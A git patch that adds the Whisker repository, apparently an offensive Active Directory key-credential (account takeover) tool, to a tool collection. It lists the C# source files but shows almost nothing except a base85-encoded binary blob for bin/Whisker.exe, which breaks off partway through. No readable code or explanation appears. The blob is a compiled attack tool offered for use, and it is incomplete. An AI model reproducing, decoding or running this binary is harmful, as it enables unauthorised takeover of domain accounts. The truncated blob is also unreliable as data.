From 870f1f1e39e03644c2daa3bdabbaf109c66ca99f Mon Sep 17 00:00:00 2001 From: cmahrl Date: Fri, 6 Dec 2024 11:33:44 -0800 Subject: [PATCH] eladshamir/Whisker@9a236c063e37f2d59c1637bdefcae6b4371bf466 --- bin/Whisker.exe | Bin 0 -> 44544 bytes repos/Whisker/.gitignore | 350 +++++++++++ repos/Whisker/LICENSE | 21 + repos/Whisker/README.md | 69 +++ repos/Whisker/Whisker.sln | 25 + repos/Whisker/Whisker/App.config | 22 + .../DSInternals.Common/Data/DNWithBinary.cs | 62 ++ .../Data/Hello/CustomKeyInformation.cs | 186 ++++++ .../Data/Hello/KeyCredential.cs | 492 +++++++++++++++ .../Data/Hello/KeyCredentialEntryType.cs | 55 ++ .../Data/Hello/KeyCredentialVersion.cs | 13 + .../DSInternals.Common/Data/Hello/KeyFlags.cs | 27 + .../Data/Hello/KeySource.cs | 19 + .../Data/Hello/KeyStrength.cs | 24 + .../DSInternals.Common/Data/Hello/KeyUsage.cs | 47 ++ .../Data/Hello/VolumeType.cs | 29 + .../Extensions/ByteArrayExtensions.cs | 236 ++++++++ .../Extensions/RSAExtensions.cs | 138 +++++ .../Properties/Resources.Designer.cs | 225 +++++++ .../Properties/Resources.resx | 174 ++++++ .../Whisker/DSInternals.Common/Validator.cs | 117 ++++ repos/Whisker/Whisker/Program.cs | 563 ++++++++++++++++++ .../Whisker/Properties/AssemblyInfo.cs | 36 ++ repos/Whisker/Whisker/Whisker.csproj | 93 +++ repos/Whisker/assets/usage.png | Bin 0 -> 102730 bytes 25 files changed, 3023 insertions(+) create mode 100644 bin/Whisker.exe create mode 100644 repos/Whisker/.gitignore create mode 100644 repos/Whisker/LICENSE create mode 100644 repos/Whisker/README.md create mode 100644 repos/Whisker/Whisker.sln create mode 100644 repos/Whisker/Whisker/App.config create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/DNWithBinary.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/CustomKeyInformation.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredential.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyFlags.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeySource.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyStrength.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyUsage.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Data/Hello/VolumeType.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Extensions/ByteArrayExtensions.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Extensions/RSAExtensions.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.Designer.cs create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.resx create mode 100644 repos/Whisker/Whisker/DSInternals.Common/Validator.cs create mode 100644 repos/Whisker/Whisker/Program.cs create mode 100644 repos/Whisker/Whisker/Properties/AssemblyInfo.cs create mode 100644 repos/Whisker/Whisker/Whisker.csproj create mode 100644 repos/Whisker/assets/usage.png diff --git a/bin/Whisker.exe b/bin/Whisker.exe new file mode 100644 index 0000000000000000000000000000000000000000..f77f978f97410b9c8f628227b11f709782426b42 GIT binary patch literal 44544 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 